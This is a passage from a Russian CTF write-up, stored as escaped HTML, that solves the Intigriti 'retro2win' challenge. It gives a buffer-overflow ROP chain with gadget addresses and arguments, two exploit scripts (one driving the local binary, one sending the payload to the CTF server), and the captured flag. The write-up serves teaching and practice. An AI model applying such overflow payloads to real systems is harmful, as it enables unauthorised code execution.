\u0431\u043b\u043e\u043a\u043d\u043e\u0442\u0438\u043a.<\/p>\n
\u276f \u0424\u0438\u043d\u0430\u043b\u043e\u0447\u043a\u0430<\/h3>\n
\u0418\u0442\u043e\u0433\u043e, \u043d\u0430\u043c \u043d\u0430\u0434\u043e \u0431\u0443\u0434\u0435\u0442 \u0432\u0432\u0435\u0441\u0442\u0438:<\/p>\n
    \n
  1. \n
    \u0417\u0430\u0433\u043b\u0443\u0448\u043a\u0443 \u0432 24 \u0431\u0430\u0439\u0442\u0430<\/p>\n<\/li>\n
  2. \n
    \u0410\u0434\u0440\u0435\u0441 \u0432\u0442\u043e\u0440\u043e\u0433\u043e \u0433\u0430\u0434\u0436\u0435\u0442\u0430 0x00000000004009b3<\/code><\/p>\n<\/li>\n
  3. \n
    \u041f\u0435\u0440\u0432\u044b\u0439 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442 0x2323232323232323<\/code> <\/p>\n<\/li>\n
  4. \n
    \u0410\u0434\u0440\u0435\u0441 \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u0433\u0430\u0434\u0436\u0435\u0442\u0430 0x00000000004009b1<\/code><\/p>\n<\/li>\n
  5. \n
    \u0412\u0442\u043e\u0440\u043e\u0439 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442 0x4242424242424242<\/code> <\/p>\n<\/li>\n
  6. \n
    8-\u043c\u0438 \u0431\u0430\u0439\u0442\u043e\u0432\u0430\u044f \u0437\u0430\u0433\u043b\u0443\u0448\u043a\u0430<\/p>\n<\/li>\n
  7. \n
    \u0410\u0434\u0440\u0435\u0441 cheat_mode<\/code> 0x0000000000400736<\/code><\/p>\n<\/li>\n
  8. \n
    \u0421\u0438\u043c\u0432\u043e\u043b \u043d\u043e\u0432\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 0x0a<\/code><\/p>\n<\/li>\n<\/ol>\n
    \u0414\u043e\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u043c pwn.py<\/code> .<\/p>\n
    tkchk@laptop:~\/Documents\/pwn\/retro2win\/challenge$ cat pwn.py  import pexpect  child = pexpect.spawn('.\/retro2win') child.expect('Select an option:') child.sendline ('1337') child.expect('Enter your cheatcode:') child.sendline(b'AAAAAAAAAAAAAAAAAAAAAAAA\\xb3\\x09\\x40\\x00\\x00\\x00\\x00\\x00\\x23\\x23\\x23\\x23\\x23\\x23\\x23\\x23\\xb1\\x09\\x40\\x00\\x00\\x00\\x00\\x00\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42AAAAAAAA\\x36\\x07\\x40\\x00\\x00\\x00\\x00\\x00\\x0a') print(child.before) child.interact()<\/code><\/pre>\n
    \u0418\u0442\u0430\u043a, \u0434\u0430\u043c\u044b \u0438 \u0433\u043e\u0441\u043f\u043e\u0434\u0430, \u0443 \u043d\u0430\u0441 \u0432\u0441\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c! \u041c\u044b \u0432\u0438\u0434\u0438\u043c \u0444\u043b\u0430\u0433.<\/p>\n
    tkchk@laptop:~\/Documents\/pwn\/retro2win\/challenge$ python3 pwn.py  b'\\r\\n1337\\r\\n'  AAAAAAAAAAAAAAAAAAAAAAAA\ufffd@^@^@^@^@^@########\ufffd@^@^@^@^@^@BBBBBBBBAAAAAAAA6^G@^@^@^@^@^@  Checking cheatcode: AAAAAAAAAAAAAAAAAAAAAAAA\ufffd@! CHEAT MODE ACTIVATED! You now have access to secret developer tools...  FLAG: INTIGRITI{fake_flag}<\/code><\/pre>\n
    \u0414\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0444\u043b\u0430\u0433\u0430 \u043d\u0430\u043c \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u043c\u0435\u043b\u043e\u0447\u044c \u2014 \u043f\u0435\u0440\u0435\u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442 \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0441\u043e\u043a\u0435\u0442\u043e\u043c. \u0422\u0435\u043f\u0435\u0440\u044c \u0434\u0435\u043b\u0430\u0435\u043c net.py<\/code><\/p>\n
    tkchk@laptop:~\/Documents\/pwn\/retro2win\/challenge$ cat net.py  import socket  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('retro2win.ctf.intigriti.io', 1338)) response = s.recv(4096) s.sendall(b'1337\\n') response = s.recv(4096) s.sendall(b'AAAAAAAAAAAAAAAAAAAAAAAA\\xb3\\x09\\x40\\x00\\x00\\x00\\x00\\x00\\x23\\x23\\x23\\x23\\x23\\x23\\x23\\x23\\xb1\\x09\\x40\\x00\\x00\\x00\\x00\\x00\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42AAAAAAAA\\x36\\x07\\x40\\x00\\x00\\x00\\x00\\x00\\x0a') response = s.recv(4096) print(response)<\/code><\/pre>\n
    \u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c, \u043f\u043e\u043f\u0443\u0442\u043d\u043e \u0437\u0430\u043c\u0435\u043d\u044f\u044f \u0432\u0441\u0435 \u043f\u0440\u043e\u0431\u0435\u043b\u044b \u043d\u0430 \u043d\u043e\u0432\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 (\u044d\u0442\u043e \u0447\u0438\u0441\u0442\u043e \u0434\u043b\u044f \u0443\u0434\u043e\u0431\u0441\u0442\u0432\u0430):<\/p>\n
    tkchk@laptop:~\/Documents\/pwn\/retro2win\/challenge$ python3 net.py | sed 's\/ \/\\n\/g' b'Checking cheatcode: AAAAAAAAAAAAAAAAAAAAAAAA\\xb3\\t@!\\r\\nCHEAT MODE ACTIVATED!\\r\\nYou now have access to secret developer tools...\\r\\n\\r\\nFLAG: INTIGRITI{3v3ry_c7f_n33d5_50m3_50r7_0f_r372w1n}\\r\\n'<\/code><\/pre>\n
    \u0424\u043b\u0430\u0433 \u043c\u044b \u0432\u0438\u0434\u0438\u043c \u0432 \u043a\u043e\u043d\u0446\u0435 \u0441\u043f\u0438\u0441\u043a\u0430. \u0414\u0440\u0443\u0437\u044c\u044f, \u043c\u044b \u0440\u0435\u0448\u0438\u043b\u0438 \u0447\u0435\u043b\u043b\u0435\u043d\u0434\u0436. \u041a\u0430\u043a \u044f \u0443\u0436\u0435 \u0433\u043e\u0432\u043e\u0440\u0438\u043b, \u0434\u0430\u043d\u043d\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0434\u0430\u043b\u043e\u0441\u044c \u043c\u043d\u0435 \u0441 \u0431\u043e\u043b\u044c\u0448\u0438\u043c \u0442\u0440\u0443\u0434\u043e\u043c, \u043d\u043e \u0432\u0441\u0435 \u0442\u0430\u043a\u0438 \u044f \u0435\u0433\u043e \u043e\u0441\u0438\u043b\u0438\u043b. \u0421\u0442\u0430\u0432\u044c\u0442\u0435 \u043b\u0430\u0439\u043a\u0438 \u0438 \u043f\u0438\u0448\u0438\u0442\u0435 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0438. \u0414\u043e \u0432\u0441\u0442\u0440\u0435\u0447\u0438 \u0432 \u0441\u0435\u0442\u0438!<\/p>\n\n
    \n
    \u041d\u043e\u0432\u043e\u0441\u0442\u0438, \u043e\u0431\u0437\u043e\u0440\u044b \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u0438 \u043a\u043e\u043d\u043a\u0443\u0440\u0441\u044b \u043e\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u044b Timeweb.Cloud\u00a0<\/strong><\/a>\u2014\u00a0\u0432 \u043d\u0430\u0448\u0435\u043c Telegram-\u043a\u0430\u043d\u0430\u043b\u0435<\/strong><\/a>\u00a0\u21a9<\/strong><\/p>\n<\/blockquote>\n
    \"\u041f\u0435\u0440\u0435\u0439\u0442\u0438<\/p>\n
    \u041f\u0435\u0440\u0435\u0439\u0442\u0438<\/em><\/strong><\/a> \u21a9<\/em><\/strong><\/figcaption><\/div>\n<\/figure>\n
    \ud83d\udcda \u0427\u0438\u0442\u0430\u0439\u0442\u0435 \u0442\u0430\u043a\u0436\u0435:<\/h4>\n